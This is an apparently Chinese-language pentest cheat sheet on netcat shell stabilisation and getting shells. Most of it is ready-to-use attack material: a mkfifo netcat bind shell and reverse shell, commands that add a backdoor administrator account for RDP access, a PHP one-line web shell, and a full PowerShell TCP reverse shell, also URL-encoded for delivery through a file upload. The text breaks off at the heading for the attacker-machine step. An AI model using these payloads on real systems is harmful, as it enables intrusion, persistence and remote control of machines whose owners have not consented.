nc shell稳定

linux

下载个工具rlwrap

1
sudo apt install rlwrap
1
sudo rlwrap nc -lvnp 404

在我们的 netcat 侦听器前面加上 “rlwrap” 可以给我们一个功能更完整的 shell。此技术在处理 Windows shell 时特别有用,否则 Windows shell 很难稳定。

然后可以用python稳定,linux机子一般都预装python

1
python3 -c 'import pty;pty.spawn("/bin/bash")'
1
export TERM=xterm
1
stty raw -echo; fg

以上操作关闭了我们自己的终端回显(它使我们能够访问 Tab 自动完成、箭头键和 Ctrl + C 来终止进程)。然后,它将 shell 置于前台

windows

直接添加用户就行了,然后远程桌面登上去

1
net user <username> <password> /add
1
net localgroup administrators <username> /add

xfreerdp:

1
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:ip /u:lan1oc /p:'123456'

nc弹shell

linux:

法一

1
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

然后再攻击机上:

1
sudo rlwrap nc ip port



该命令首先在 /tmp/f 处创建一个命名管道 。然后,它启动 netcat 侦听器,并将侦听器的 input 连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)通过管道直接传输到 sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入中,从而完成循环

法二

1
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

然后攻击机上

1
sudo rlwrap nc -lvnp 404


windows:

由于要转义的符号太多了,所以一句话木马改为

1
<?php shell_exec($_POST[1]); ?>

靶机:

1
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"


如果是配合文件上传,那么请求体要url编码

1
1=powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient('ip'%2Cport)%3B%24stream%20%3D%20%24client.GetStream()%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile((%24i%20%3D%20%24stream.Read(%24bytes%2C%200%2C%20%24bytes.Length))%20-ne%200)%7B%3B%24data%20%3D%20(New-Object%20-TypeName%20System.Text.ASCIIEncoding).GetString(%24bytes%2C0%2C%20%24i)%3B%24sendback%20%3D%20(iex%20%24data%202%3E%261%20%7C%20Out-String%20)%3B%24sendback2%20%3D%20%24sendback%20%2B%20'PS%20'%20%2B%20(pwd).Path%20%2B%20'%3E%20'%3B%24sendbyte%20%3D%20(%5Btext.encoding%5D%3A%3AASCII).GetBytes(%24sendback2)%3B%24stream.Write(%24sendbyte%2C0%2C%24sendbyte.Length)%3B%24stream.Flush()%7D%3B%24client.Close()%22

攻击机: